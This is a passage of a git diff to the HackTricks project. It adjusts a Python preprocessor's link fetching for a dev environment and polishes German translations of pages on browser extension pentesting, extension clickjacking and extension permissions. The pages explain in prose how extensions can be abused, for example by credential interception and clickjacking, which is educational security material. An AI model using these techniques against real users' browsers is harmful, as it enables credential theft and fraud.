(.*?)', raw_html)
- title = match.group(1) if match else href
- except Exception as e:
- logger.debug(f'Error opening URL {href}: {e}')
- pass #nDont stop on broken link
+ if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
+ pass
+ else:
+ try:
+ raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
+ match = re.search('(.*?)', raw_html)
+ title = match.group(1) if match else href
+ except Exception as e:
+ logger.debug(f'Error opening URL {href}: {e}')
+ pass #nDont stop on broken link
else:
try:
if href.endswith("/"):
@@ -90,7 +92,7 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
-
+ logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
index 013099f06..6f6932bf8 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
@@ -14,7 +14,7 @@ Die Layouts von Erweiterungen sehen am besten aus, wenn sie visualisiert werden,
### **Inhalts-Skripte**
-Jedes Inhalts-Skript hat direkten Zugriff auf das DOM einer **einzelnen Webseite** und ist damit potenziell schädlichem Input ausgesetzt. Das Inhalts-Skript enthält jedoch keine Berechtigungen, außer der Fähigkeit, Nachrichten an den Erweiterungskern zu senden.
+Jedes Inhalts-Skript hat direkten Zugriff auf das DOM einer **einzelnen Webseite** und ist damit potenziell schädlichem Input ausgesetzt. Das Inhalts-Skript enthält jedoch keine Berechtigungen außer der Fähigkeit, Nachrichten an den Erweiterungskern zu senden.
### **Erweiterungskern**
@@ -35,7 +35,7 @@ Darüber hinaus sind Inhalts-Skripte von ihren zugehörigen Webseiten getrennt,
## **`manifest.json`**
-Eine Chrome-Erweiterung ist einfach ein ZIP-Ordner mit einer [.crx-Dateierweiterung](https://www.lifewire.com/crx-file-2620391). Der Kern der Erweiterung ist die **`manifest.json`**-Datei im Stammordner, die Layout, Berechtigungen und andere Konfigurationsoptionen angibt.
+Eine Chrome-Erweiterung ist einfach ein ZIP-Ordner mit einer [.crx-Dateiendung](https://www.lifewire.com/crx-file-2620391). Der Kern der Erweiterung ist die **`manifest.json`**-Datei im Stammordner, die Layout, Berechtigungen und andere Konfigurationsoptionen angibt.
Beispiel:
```json
@@ -78,7 +78,7 @@ Inhalts-Skripte werden **geladen**, wann immer der Benutzer zu einer übereinsti
```
Um weitere URLs einzuschließen oder auszuschließen, ist es auch möglich, **`include_globs`** und **`exclude_globs`** zu verwenden.
-Dies ist ein Beispielinhaltsskript, das einen Erklärungsbutton zur Seite hinzufügt, wenn [die Storage-API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) verwendet wird, um den `message`-Wert aus dem Speicher der Erweiterung abzurufen.
+Dies ist ein Beispiel für ein Inhalts-Skript, das einen Erklär-Button zur Seite hinzufügt, wenn [die Storage-API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) verwendet wird, um den `message`-Wert aus dem Speicher der Erweiterung abzurufen.
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@@ -106,7 +106,7 @@ Sobald die Entwicklertools angezeigt werden, ist der **Quell-Tab** anzuklicken,
> [!TIP]
> Beachten Sie, dass **Inhalts-Skripte nicht zwingend erforderlich sind**, da es auch möglich ist, Skripte **dynamisch** zu **injizieren** und sie **programmgesteuert** in Webseiten über **`tabs.executeScript`** zu injizieren. Dies bietet tatsächlich mehr **granulare Kontrollen**.
-Für die programmgesteuerte Injektion eines Inhalts-Skripts muss die Erweiterung [Host-Berechtigungen](https://developer.chrome.com/docs/extensions/reference/permissions) für die Seite haben, in die die Skripte injiziert werden sollen. Diese Berechtigungen können entweder durch **Anforderung** innerhalb des Manifests der Erweiterung oder vorübergehend über [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) gesichert werden.
+Für die programmgesteuerte Injektion eines Inhalts-Skripts muss die Erweiterung [Host-Berechtigungen](https://developer.chrome.com/docs/extensions/reference/permissions) für die Seite haben, in die die Skripte injiziert werden sollen. Diese Berechtigungen können entweder durch **Anfordern** innerhalb des Manifests der Erweiterung oder vorübergehend über [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) gesichert werden.
#### Beispiel für eine activeTab-basierte Erweiterung
```json:manifest.json
@@ -176,7 +176,7 @@ Das Feld `run_at` steuert **wann JavaScript-Dateien in die Webseite injiziert we
Die möglichen Werte sind:
- **`document_idle`**: Wann immer möglich
-- **`document_start`**: Nach allen Dateien von `css`, aber bevor andere DOMs erstellt oder andere Skripte ausgeführt werden.
+- **`document_start`**: Nach allen Dateien von `css`, aber bevor andere DOM-Elemente erstellt oder andere Skripte ausgeführt werden.
- **`document_end`**: Unmittelbar nachdem das DOM vollständig ist, aber bevor Unterressourcen wie Bilder und Frames geladen wurden.
#### Via `manifest.json`
@@ -212,7 +212,7 @@ Nachrichten, die von Inhalts-Skripten gesendet werden, werden von der **Hintergr
**Wichtige Punkte**:
-- **Rolle der Hintergrundseite:** Dient als Nervenzentrum der Erweiterung und sorgt für Kommunikation und Koordination zwischen den verschiedenen Teilen der Erweiterung.
+- **Rolle der Hintergrundseite:** Dient als Nervenzentrum für die Erweiterung und gewährleistet Kommunikation und Koordination zwischen verschiedenen Teilen der Erweiterung.
- **Persistenz:** Es ist eine ständig präsente Entität, die für den Benutzer unsichtbar, aber für die Funktionalität der Erweiterung unerlässlich ist.
- **Automatische Generierung:** Wenn nicht ausdrücklich definiert, wird der Browser automatisch eine Hintergrundseite erstellen. Diese automatisch generierte Seite enthält alle Hintergrundskripte, die im Manifest der Erweiterung angegeben sind, und gewährleistet den nahtlosen Betrieb der Hintergrundaufgaben der Erweiterung.
@@ -305,7 +305,7 @@ In öffentlichen Erweiterungen ist die **extension-id zugänglich**:
Wenn jedoch der `manifest.json` Parameter **`use_dynamic_url`** verwendet wird, kann diese **id dynamisch** sein.
> [!TIP]
-> Beachten Sie, dass selbst wenn eine Seite hier erwähnt wird, sie möglicherweise **gegen ClickJacking geschützt** ist, dank der **Content Security Policy**. Daher müssen Sie dies (frame-ancestors Abschnitt) überprüfen, bevor Sie bestätigen, dass ein ClickJacking-Angriff möglich ist.
+> Beachten Sie, dass selbst wenn eine Seite hier erwähnt wird, sie möglicherweise **gegen ClickJacking geschützt** ist, dank der **Content Security Policy**. Daher müssen Sie dies auch überprüfen (frame-ancestors Abschnitt), bevor Sie bestätigen, dass ein ClickJacking-Angriff möglich ist.
Der Zugriff auf diese Seiten macht diese Seiten **potenziell anfällig für ClickJacking**:
@@ -325,8 +325,8 @@ browext-clickjacking.md
Laut den [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) erklärt die `"externally_connectable"` Manifest-Eigenschaft, **welche Erweiterungen und Webseiten sich** über [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) und [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) mit Ihrer Erweiterung verbinden können.
-- Wenn der **`externally_connectable`** Schlüssel **nicht** im Manifest Ihrer Erweiterung deklariert ist oder als **`"ids": ["*"]`** deklariert ist, **können alle Erweiterungen sich verbinden, aber keine Webseiten können sich verbinden**.
-- Wenn **spezifische IDs angegeben sind**, wie in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **können nur diese Anwendungen** sich verbinden.
+- Wenn der **`externally_connectable`** Schlüssel **nicht** im Manifest Ihrer Erweiterung deklariert ist oder als **`"ids": ["*"]`** deklariert ist, **können alle Erweiterungen verbinden, aber keine Webseiten können verbinden**.
+- Wenn **spezifische IDs angegeben sind**, wie in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **können nur diese Anwendungen** verbinden.
- Wenn **Übereinstimmungen** angegeben sind, können diese Webanwendungen sich verbinden:
```json
"matches": [
@@ -342,9 +342,9 @@ Je **weniger Erweiterungen und URLs** hier angegeben sind, desto **kleiner wird
>
> Daher ist dies ein **sehr mächtiger Bypass**.
>
-> Darüber hinaus, wenn der Client eine bösartige Erweiterung installiert, selbst wenn sie nicht berechtigt ist, mit der anfälligen Erweiterung zu kommunizieren, könnte sie **XSS-Daten in eine erlaubte Webseite injizieren** oder die **`WebRequest`** oder **`DeclarativeNetRequest`** APIs missbrauchen, um Anfragen auf einer gezielten Domain zu manipulieren und eine Anfrage für eine **JavaScript-Datei** zu ändern. (Beachten Sie, dass CSP auf der gezielten Seite diese Angriffe verhindern könnte). Diese Idee stammt [**aus diesem Bericht**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
+> Darüber hinaus, wenn der Client eine bösartige Erweiterung installiert, könnte diese, selbst wenn sie nicht mit der anfälligen Erweiterung kommunizieren darf, **XSS-Daten in eine erlaubte Webseite injizieren** oder die **`WebRequest`** oder **`DeclarativeNetRequest`** APIs missbrauchen, um Anfragen auf einer gezielten Domain zu manipulieren und eine Anfrage für eine **JavaScript-Datei** zu ändern. (Beachten Sie, dass CSP auf der gezielten Seite diese Angriffe verhindern könnte). Diese Idee stammt [**aus diesem Bericht**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
-## Kommunikationszusammenfassung
+## Kommunikationsübersicht
### Erweiterung <--> WebApp
@@ -352,9 +352,9 @@ Um zwischen dem Content-Skript und der Webseite zu kommunizieren, werden normale
### Innerhalb der Erweiterung
-Normalerweise wird die Funktion **`chrome.runtime.sendMessage`** verwendet, um eine Nachricht innerhalb der Erweiterung zu senden (normalerweise vom `background`-Skript verarbeitet) und um sie zu empfangen und zu verarbeiten, wird ein Listener deklariert, der **`chrome.runtime.onMessage.addListener`** aufruft.
+Normalerweise wird die Funktion **`chrome.runtime.sendMessage`** verwendet, um eine Nachricht innerhalb der Erweiterung zu senden (normalerweise vom `background`-Skript verarbeitet), und um sie zu empfangen und zu verarbeiten, wird ein Listener deklariert, der **`chrome.runtime.onMessage.addListener`** aufruft.
-Es ist auch möglich, **`chrome.runtime.connect()`** zu verwenden, um eine persistente Verbindung herzustellen. Anstatt einzelne Nachrichten zu senden, ist es möglich, sie zu **senden** und **zu empfangen** **Nachrichten** wie im folgenden Beispiel:
+Es ist auch möglich, **`chrome.runtime.connect()`** zu verwenden, um eine persistente Verbindung herzustellen. Anstatt einzelne Nachrichten zu senden, ist es möglich, sie zu **senden** und **zu empfangen**, wie im folgenden Beispiel:
@@ -413,7 +413,7 @@ console.log("Received " + response)
```
## Web **↔︎** Content Script Kommunikation
-Die Umgebungen, in denen **Content-Skripte** arbeiten und wo die Host-Seiten existieren, sind **getrennt** voneinander, was **Isolation** gewährleistet. Trotz dieser Isolation haben beide die Möglichkeit, mit dem **Document Object Model (DOM)** der Seite zu interagieren, einer gemeinsamen Ressource. Damit die Host-Seite mit dem **Content-Skript** oder indirekt mit der Erweiterung über das Content-Skript kommunizieren kann, ist es erforderlich, das von beiden Parteien zugängliche **DOM** als Kommunikationskanal zu nutzen.
+Die Umgebungen, in denen **Content-Skripte** arbeiten und wo die Host-Seiten existieren, sind **getrennt** voneinander, was **Isolation** gewährleistet. Trotz dieser Isolation haben beide die Möglichkeit, mit dem **Document Object Model (DOM)** der Seite zu interagieren, einer gemeinsamen Ressource. Damit die Host-Seite mit dem **Content-Skript** oder indirekt mit der Erweiterung über das Content-Skript kommunizieren kann, ist es erforderlich, das **DOM** zu nutzen, das für beide Parteien als Kommunikationskanal zugänglich ist.
### Post-Nachrichten
```javascript:content-script.js
@@ -482,11 +482,11 @@ Ein Beispiel für ein **DOM-basiertes XSS, um eine Browsererweiterung zu komprom
browext-xss-example.md
{{#endref}}
-## Inhalts-Skript **↔︎** Hintergrund-Skript-Kommunikation
+## Kommunikation zwischen Inhalts-Skript **↔︎** Hintergrund-Skript
Ein Inhalts-Skript kann die Funktionen [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **oder** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) verwenden, um eine **einmalige JSON-serialisierbare** Nachricht zu senden.
-Um die **Antwort** zu verarbeiten, verwenden Sie das zurückgegebene **Promise**. Obwohl Sie aus Gründen der Abwärtskompatibilität weiterhin einen **Callback** als letzten Parameter übergeben können.
+Um die **Antwort** zu verarbeiten, verwenden Sie das zurückgegebene **Promise**. Obwohl Sie aus Gründen der Abwärtskompatibilität weiterhin eine **Rückruffunktion** als letztes Argument übergeben können.
Das Senden einer Anfrage von einem **Inhalts-Skript** sieht so aus:
```javascript
@@ -496,7 +496,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
console.log(response)
})()
```
-Senden einer Anfrage von der **Erweiterung** (normalerweise einem **Hintergrundskript**). Beispiel, wie man eine Nachricht an das Inhaltskript im ausgewählten Tab sendet:
+Eine Anfrage von der **Erweiterung** senden (normalerweise ein **Hintergrundskript**). Beispiel, wie man eine Nachricht an das Inhaltskript im ausgewählten Tab sendet:
```javascript
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
;(async () => {
@@ -529,7 +529,7 @@ Beim Erstellen neuer Erweiterungen sollte die Präferenz auf Promises anstelle v
## Native Messaging
-Browsererweiterungen ermöglichen auch die Kommunikation mit **Binaries im System über stdin**. Die Anwendung muss ein JSON installieren, das dies in einem JSON wie folgt angibt:
+Browsererweiterungen ermöglichen auch die Kommunikation mit **Binaries im System über stdin**. Die Anwendung muss eine JSON installieren, die dies in einer JSON wie folgt angibt:
```json
{
"name": "com.my_company.my_application",
@@ -567,9 +567,9 @@ Und darin wird ein Beispiel für **den Übergang von jeder Seite zu RCE unter Au
## Sensible Informationen im Speicher/Code/Clipboard
-Wenn eine Browsererweiterung **sensible Informationen im Speicher speichert**, könnten diese **ausgelesen** werden (insbesondere auf Windows-Maschinen) und nach diesen Informationen **gesucht** werden.
+Wenn eine Browsererweiterung **sensible Informationen im Speicher speichert**, können diese **ausgelesen** (insbesondere auf Windows-Maschinen) und nach diesen Informationen **gesucht** werden.
-Daher sollte der Speicher der Browsererweiterung **nicht als sicher betrachtet werden** und **sensible Informationen** wie Anmeldeinformationen oder mnemonische Phrasen **sollten nicht gespeichert** werden.
+Daher sollte der Speicher der Browsererweiterung **nicht als sicher betrachtet werden** und **sensible Informationen** wie Anmeldeinformationen oder mnemonische Phrasen **sollten nicht gespeichert werden**.
Natürlich sollten **keine sensiblen Informationen im Code platziert werden**, da sie **öffentlich** sein werden.
@@ -579,11 +579,11 @@ Darüber hinaus sollten hochsensible Informationen wie mnemonische Schlüssel od
## Laden einer Erweiterung im Browser
-1. **Laden Sie** die Browsererweiterung herunter & entpacken Sie sie.
+1. **Laden Sie** die Browsererweiterung herunter und entpacken Sie sie.
2. Gehen Sie zu **`chrome://extensions/`** und **aktivieren** Sie den `Entwicklermodus`.
3. Klicken Sie auf die Schaltfläche **`Entpackte Erweiterung laden`**.
-In **Firefox** gehen Sie zu **`about:debugging#/runtime/this-firefox`** und klicken auf die Schaltfläche **`Temporäres Add-on laden`**.
+In **Firefox** gehen Sie zu **`about:debugging#/runtime/this-firefox`** und klicken auf die Schaltfläche **`Temporäre Erweiterung laden`**.
## Den Quellcode aus dem Store abrufen
@@ -631,7 +631,7 @@ Gehen Sie zum Chrome Web Store und laden Sie die Erweiterung herunter. Die Datei
## Chrome-Erweiterungsmanifest-Datensatz
-Um anfällige Browsererweiterungen zu identifizieren, können Sie das [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) verwenden und deren Manifestdateien auf potenziell anfällige Hinweise überprüfen. Zum Beispiel, um nach Erweiterungen mit mehr als 25000 Benutzern, `content_scripts` und der Berechtigung `nativeMessaging` zu suchen:
+Um anfällige Browsererweiterungen zu identifizieren, können Sie das [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) verwenden und deren Manifestdateien auf potenziell anfällige Hinweise überprüfen. Zum Beispiel, um nach Erweiterungen mit mehr als 25000 Benutzern, `content_scripts` und der Berechtigung `nativeMessaing` zu suchen:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
@@ -670,16 +670,16 @@ Obwohl Browsererweiterungen eine **begrenzte Angriffsfläche** haben, können ei
- **Potenzielle Clickjacking-Analyse**: Erkennung von HTML-Seiten der Erweiterung mit der [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) Direktive. Diese sind potenziell anfällig für Clickjacking, abhängig vom Zweck der Seiten.
- **Berechtigungswarnungen Viewer**: zeigt eine Liste aller Chrome-Berechtigungsaufforderungswarnungen, die angezeigt werden, wenn ein Benutzer versucht, die Erweiterung zu installieren.
- **Gefährliche Funktion(en)**: zeigt den Standort gefährlicher Funktionen, die potenziell von einem Angreifer ausgenutzt werden könnten (z. B. Funktionen wie innerHTML, chrome.tabs.executeScript).
-- **Einstiegspunkt(e)**: zeigt, wo die Erweiterung Benutzereingaben oder externe Eingaben entgegennimmt. Dies ist nützlich, um die Angriffsfläche einer Erweiterung zu verstehen und nach potenziellen Punkten zu suchen, um bösartig gestaltete Daten an die Erweiterung zu senden.
-- Sowohl die Scanner für gefährliche Funktion(en) als auch Einstiegspunkt(e) haben Folgendes für ihre generierten Warnungen:
+- **Einstiegspunkt(e)**: zeigt, wo die Erweiterung Benutzereingaben oder externe Eingaben entgegennimmt. Dies ist nützlich, um die Angriffsfläche einer Erweiterung zu verstehen und potenzielle Punkte zu finden, um bösartig gestaltete Daten an die Erweiterung zu senden.
+- Sowohl die Scanner für gefährliche Funktionen als auch die Einstiegspunkte haben Folgendes für ihre generierten Warnungen:
- Relevanter Codeausschnitt und Zeile, die die Warnung verursacht hat.
- Beschreibung des Problems.
- Eine „Datei anzeigen“-Schaltfläche, um die vollständige Quelldatei mit dem Code anzuzeigen.
- Der Pfad der alarmierten Datei.
-- Die vollständige Chrome-Erweiterungs-URI der alarmierten Datei.
+- Die vollständige URI der Chrome-Erweiterung der alarmierten Datei.
- Der Typ der Datei, z. B. ein Hintergrundseiten-Skript, Inhalts-Skript, Browser-Aktion usw.
- Wenn die anfällige Zeile in einer JavaScript-Datei ist, die Pfade aller Seiten, auf denen sie enthalten ist, sowie den Typ dieser Seiten und den [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) Status.
-- **Content Security Policy (CSP) Analyzer und Umgehungsprüfer**: Dies wird Schwächen in der CSP Ihrer Erweiterung aufzeigen und auch potenzielle Möglichkeiten zur Umgehung Ihrer CSP aufgrund von aufgelisteten CDNs usw. beleuchten.
+- **Content Security Policy (CSP) Analyzer und Umgehungsprüfer**: Dies wird Schwächen in der CSP Ihrer Erweiterung aufzeigen und auch potenzielle Möglichkeiten zur Umgehung Ihrer CSP aufgrund von aufgelisteten CDNs usw. aufzeigen.
- **Bekannte anfällige Bibliotheken**: Dies verwendet [Retire.js](https://retirejs.github.io/retire.js/), um die Verwendung bekannter anfälliger JavaScript-Bibliotheken zu überprüfen.
- Erweiterung und formatierte Versionen herunterladen.
- Die ursprüngliche Erweiterung herunterladen.
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
index d6cc03cb0..02cd89b9a 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
@@ -11,21 +11,21 @@ Wenn Sie nicht wissen, was ClickJacking ist, schauen Sie sich an:
../clickjacking.md
{{#endref}}
-Erweiterungen enthalten die Datei **`manifest.json`** und diese JSON-Datei hat ein Feld `web_accessible_resources`. Hier ist, was [die Chrome-Dokumentation](https://developer.chrome.com/extensions/manifest/web_accessible_resources) dazu sagt:
+Erweiterungen enthalten die Datei **`manifest.json`** und diese JSON-Datei hat ein Feld `web_accessible_resources`. Hier ist, was [die Chrome-Dokumentation](https://developer.chrome.com/extensions/manifest/web_accessible_resources) darüber sagt:
> Diese Ressourcen wären dann über die URL **`chrome-extension://[PACKAGE ID]/[PATH]`** in einer Webseite verfügbar, die mit der **`extension.getURL method`** generiert werden kann. Erlaubte Ressourcen werden mit entsprechenden CORS-Headern bereitgestellt, sodass sie über Mechanismen wie XHR verfügbar sind.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
-Die **`web_accessible_resources`** in einer Browsererweiterung sind nicht nur über das Web zugänglich; sie funktionieren auch mit den inhärenten Berechtigungen der Erweiterung. Das bedeutet, dass sie die Fähigkeit haben,:
+Die **`web_accessible_resources`** in einer Browsererweiterung sind nicht nur über das Web zugänglich; sie funktionieren auch mit den inhärenten Berechtigungen der Erweiterung. Das bedeutet, dass sie die Fähigkeit haben, zu:
- Den Zustand der Erweiterung zu ändern
- Zusätzliche Ressourcen zu laden
- In gewissem Maße mit dem Browser zu interagieren
-Diese Funktion stellt jedoch ein Sicherheitsrisiko dar. Wenn eine Ressource innerhalb von **`web_accessible_resources`** eine wesentliche Funktionalität hat, könnte ein Angreifer diese Ressource möglicherweise in eine externe Webseite einbetten. Unverdächtige Benutzer, die diese Seite besuchen, könnten versehentlich diese eingebettete Ressource aktivieren. Eine solche Aktivierung könnte je nach Berechtigungen und Fähigkeiten der Ressourcen der Erweiterung zu unbeabsichtigten Konsequenzen führen.
+Diese Funktion stellt jedoch ein Sicherheitsrisiko dar. Wenn eine Ressource innerhalb von **`web_accessible_resources`** eine wesentliche Funktionalität hat, könnte ein Angreifer diese Ressource möglicherweise in eine externe Webseite einbetten. Unverdächtige Benutzer, die diese Seite besuchen, könnten unbeabsichtigt diese eingebettete Ressource aktivieren. Eine solche Aktivierung könnte je nach Berechtigungen und Fähigkeiten der Ressourcen der Erweiterung zu unbeabsichtigten Konsequenzen führen.
## PrivacyBadger Beispiel
-In der Erweiterung PrivacyBadger wurde eine Sicherheitsanfälligkeit identifiziert, die sich auf das Verzeichnis `skin/` bezieht, das als `web_accessible_resources` in folgender Weise deklariert wurde (Überprüfen Sie den ursprünglichen [Blogbeitrag](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
+In der Erweiterung PrivacyBadger wurde eine Sicherheitsanfälligkeit identifiziert, die sich auf das Verzeichnis `skin/` bezieht, das als `web_accessible_resources` auf folgende Weise deklariert wurde (Überprüfen Sie den ursprünglichen [Blogbeitrag](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
```json
"web_accessible_resources": [
"skin/*",
@@ -79,7 +79,7 @@ Ein [**Blogbeitrag über ClickJacking in Metamask ist hier zu finden**](https://
-**Ein weiterer ClickJacking, der behoben wurde** in der Metamask-Erweiterung, war, dass Benutzer **Klicken, um auf die Whitelist zu setzen** konnten, wenn eine Seite verdächtig war, Phishing zu sein, aufgrund von `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Da diese Seite anfällig für Clickjacking war, konnte ein Angreifer sie missbrauchen, indem er etwas Normales zeigte, um das Opfer dazu zu bringen, es ohne Notice auf die Whitelist zu setzen, und dann zurück zur Phishing-Seite zu gehen, die dann auf die Whitelist gesetzt wird.
+**Ein weiteres ClickJacking, das in der Metamask-Erweiterung behoben wurde**, war, dass Benutzer **Klicken, um auf die Whitelist zu setzen** konnten, wenn eine Seite verdächtig war, Phishing zu sein, aufgrund von `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Da diese Seite anfällig für Clickjacking war, konnte ein Angreifer sie missbrauchen, indem er etwas Normales zeigte, um das Opfer dazu zu bringen, es ohne Notice auf die Whitelist zu setzen, und dann zurück zur Phishing-Seite zu gehen, die dann auf die Whitelist gesetzt wird.
## Steam Inventory Helper Beispiel
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
index 11b6f2136..afc7424d5 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
@@ -10,7 +10,7 @@ Berechtigungen werden in der **`manifest.json`**-Datei der Erweiterung mit der *
Das vorherige Manifest erklärt, dass die Erweiterung die `storage`-Berechtigung benötigt. Das bedeutet, dass sie die [Storage-API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) verwenden kann, um ihre Daten dauerhaft zu speichern. Im Gegensatz zu Cookies oder `localStorage`-APIs, die den Benutzern ein gewisses Maß an Kontrolle geben, **kann der Erweiterungsspeicher normalerweise nur durch Deinstallation der Erweiterung gelöscht werden**.
-Eine Erweiterung wird die in ihrer **`manifest.json`**-Datei angegebenen Berechtigungen anfordern und nach der Installation der Erweiterung können Sie **immer ihre Berechtigungen in Ihrem Browser überprüfen**, wie in diesem Bild gezeigt:
+Eine Erweiterung wird die in ihrer **`manifest.json`**-Datei angegebenen Berechtigungen anfordern, und nach der Installation der Erweiterung können Sie **immer ihre Berechtigungen in Ihrem Browser überprüfen**, wie in diesem Bild gezeigt:
@@ -52,7 +52,7 @@ Darüber hinaus schaltet **`host_permissions`** auch die "erweiterte" [**tabs AP
Inhalts-Skripte sind nicht unbedingt statisch im Erweiterungsmanifest geschrieben. Bei ausreichenden **`host_permissions`** können **Erweiterungen sie auch dynamisch laden, indem sie** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **oder** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **aufrufen.**
-Beide APIs ermöglichen das Ausführen nicht nur von Dateien, die in den Erweiterungen als Inhalts-Skripte enthalten sind, sondern auch von **beliebigem Code**. Die erste erlaubt das Übergeben von JavaScript-Code als String, während die letztere eine JavaScript-Funktion erwartet, die weniger anfällig für Injektionsanfälligkeiten ist. Dennoch werden beide APIs Chaos anrichten, wenn sie missbraucht werden.
+Beide APIs ermöglichen das Ausführen nicht nur von in den Erweiterungen enthaltenen Dateien als Inhalts-Skripte, sondern auch von **beliebigem Code**. Die erste erlaubt das Übergeben von JavaScript-Code als String, während die zweite eine JavaScript-Funktion erwartet, die weniger anfällig für Injektionsanfälligkeiten ist. Dennoch können beide APIs Chaos anrichten, wenn sie missbraucht werden.
> [!CAUTION]
> Neben den oben genannten Möglichkeiten könnten Inhalts-Skripte beispielsweise **Anmeldeinformationen abfangen**, während diese in Webseiten eingegeben werden. Eine weitere klassische Möglichkeit, sie zu missbrauchen, besteht darin, **Werbung** auf jeder Webseite einzufügen. Das Hinzufügen von **Betrugsnachrichten**, um die Glaubwürdigkeit von Nachrichtenwebseiten zu missbrauchen, ist ebenfalls möglich. Schließlich könnten sie **Bank-Webseiten manipulieren**, um Geldtransfers umzuleiten.
@@ -61,7 +61,7 @@ Beide APIs ermöglichen das Ausführen nicht nur von Dateien, die in den Erweite
Einige Erweiterungsberechtigungen **müssen nicht ausdrücklich deklariert werden**. Ein Beispiel ist die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): Ihre grundlegende Funktionalität ist ohne jegliche Berechtigungen zugänglich. Jede Erweiterung kann benachrichtigt werden, wenn Sie Tabs öffnen und schließen, sie wird jedoch nicht wissen, mit welcher Webseite diese Tabs übereinstimmen.
-Klingt zu harmlos? Die [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) ist etwas weniger harmlos. Sie kann verwendet werden, um **einen neuen Tab zu erstellen**, im Wesentlichen dasselbe wie [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open), das von jeder Webseite aufgerufen werden kann. Während `window.open()` jedoch dem **Pop-up-Blocker unterliegt, tut dies `tabs.create()` nicht**.
+Klingt zu harmlos? Die [tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) ist etwas weniger harmlos. Sie kann verwendet werden, um **einen neuen Tab zu erstellen**, was im Wesentlichen dasselbe ist wie [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open), das von jeder Webseite aufgerufen werden kann. Während `window.open()` jedoch dem **Popup-Blocker unterliegt, tut dies `tabs.create()` nicht**.
> [!CAUTION]
> Eine Erweiterung kann jederzeit beliebig viele Tabs erstellen.
@@ -75,15 +75,15 @@ Wenn Sie sich die möglichen `tabs.create()`-Parameter ansehen, werden Sie auch
Sie wissen wahrscheinlich, dass Webseiten spezielle Berechtigungen anfordern können, z.B. um auf Ihre Webcam (Videokonferenz-Tools) oder geografische Standortdaten (Karten) zuzugreifen. Es sind Funktionen mit erheblichem Missbrauchspotenzial, sodass die Benutzer jedes Mal bestätigen müssen, dass sie dies weiterhin möchten.
> [!CAUTION]
-> Bei Browsererweiterungen ist das nicht so. **Wenn eine Browsererweiterung** [**Zugriff auf Ihre Webcam oder Ihr Mikrofon möchte**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, muss sie nur einmal um Erlaubnis bitten.**
